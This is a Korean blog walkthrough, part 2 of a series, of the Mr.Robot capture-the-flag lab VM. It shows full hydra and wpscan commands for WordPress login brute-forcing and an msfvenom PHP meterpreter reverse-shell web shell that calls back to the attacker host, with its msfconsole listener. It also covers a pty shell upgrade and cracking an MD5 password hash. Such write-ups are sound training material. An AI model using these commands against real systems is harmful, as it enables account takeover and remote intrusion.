Mr.Robot CTF 풀이2 (Walk through)

2017. 3. 29. 22:34보안 & 해킹/CTF

fsocity.dic 사전파일을 살펴보면 robot, window 등 단어로 검색해보면 중복되는 단어가 많다. 문제 제작자의 의도는 이 사전파일을 그대로 이용하거나 중복되는 것을 제거하여 사용하길 원했다고 생각된다.


리눅스의 sort 명령어를 이용하여 각 word들의 중복을 제거해 주자.


1
sort -u fsocity.dic > fsocity2.dic
cs


그러면 85만줄의 7.2MB이었던 사전파일은 11만 줄의 96.7kb로 훨씬 줄어든다.



/wp-login 페이지에서 Username 과 Password 를 알아내야 하는데 Username을 입력했을때의 반응을 살펴보면 ERROR 반응이 다르게 나온다.


Invalid username. 즉 username이 잘못되었다고 나옴.




Elliot을 위한 비밀번호가 잘못되었다고 나온다.


Mr.Robot의 주인공이 Elliot 임에 Elliot을 입력해보던가 사전파일을 넣고 ID를 변경해보며 돌려보면 Elliot의 계정 사용자가 있다는 것을 알 수 있다.


혹은 hydra 툴을 이용하여 사전파일 대입과 반응이 다름을 이용하여 직접 찾아볼 수 있다.

옵션은 다음과 같다.


hydra -L [사전파일] -p [패스워드] [타겟IP] http-form-post 로그인 form 네임과 패스워드 폼네임:Invalid


1
hydra -/root/Desktop/fsocity2.dic -p lol 192.168.150.133 http-form-post "/wp-login.php:log=^USER^&pwd=^PASS^:Invalid"
cs


이렇게 설정하여 실행하면 ID를 사전파일로 시도하고 패스워드를 lol로 시도하여 페이지의 반응이 Invalid가 뜨지 않는 반응을 찾는다.


폼네임이 log, pwd인 것은 소스의 요소보기나 burp suite의 post 반응을 확인하여 알아낼 수 있다.




Elliot, Elliot의 반응이 다르기에 ID가 elliot인 사용자에 패스워드를 다시 사전파일로 대입해본다.

1
root@kali:~# wpscan -u 192.168.150.133 --threads 20 --wordlist /root/Desktop/fsocity2.dic --username elliot
cs




ID elliot에 Password ER28-0652 임을 알 수 있다.


로그인 하면 관리창으로 진입할 수 있다.



이 워드프레스의 서버에 웹쉘을 업로드 하기 위해서는 플러그인을 설치해야한다.




File Manager 설치 후 Plugins - Active - WP FileManager 항목에 Activate에 체크를 하면 좌측에 WP File Manager플러그인을 사용할 수 있게된다.


이렇게 File Manager 안에서 you-will-never-guess-this-file-name.txt 파일에 

hello there person who found me. 라고 장난스럽게 문구를 삽입해 놓은 것을 볼 수 있다.



이제 웹쉘을 업로드하기 위해 msfvenom을 이용하여 웹쉘을 생성하자.


1
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.150.128 LPORT=4444 -f raw > /root/Desktop/shell.php
cs


LHOST=[칼리 IP]에 shell.php를 내보낸다.



shell.php를 uploads 폴더에 올린 후 정보보기를 하면 /wp-content/uplaods/shell.php 에 업로드 된 것을 알 수 있다.



웹쉘을 실행시키기 전 msfconsole 을 이용하여 listener를 연다.


1
2
3
4
5
6
msfconsole
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set LPORT 4444
set LHOST 192.168.150.128
exploit -j
cs



sessions -i를 이용하여 보면 1번 세션에 접속되어있는 것을 확인할 수 있다.




이와 같이 디렉토리를 볼 수 있는데 우리는 완전한 쉘을 얻고 싶다.



1
python -"import pty;pty.spawn('/bin/bash');"
cs

이렇게 bash 쉘을 import 하는 것은 유용하게 쓰일 수 있으니 알아두자.



find 명령어를 이용하여 *.txt를 해보니 /home/robot 경로 아래에 key값이 있음을 찾았다.




robot 아래의 경로에 가보면 key-2-of-3.txt 파일이 있어 플래그파일임을 알 수 있다. 하지만 읽기 권한이 robot인데 접속한 계정은 daemon 이다. 아래에 password.raw-md5 파일을 읽어보니 해시값이 들어있다.


c3fcd3d76192e4007dfb496cca67e13b 해시값을 https://hashkiller.co.uk/md5-decrypter.aspx 에서 복호화 시도한다.


그러면 robot 계정의 암호 abcdefghijklmnopqrstuvwxyz 로 로그인을 시도해보자.


robot 홈디렉터리에 두번째 키 파일을 읽을 수 있을 것이다.




링크 : 풀이 1번


링크 : 풀이 3번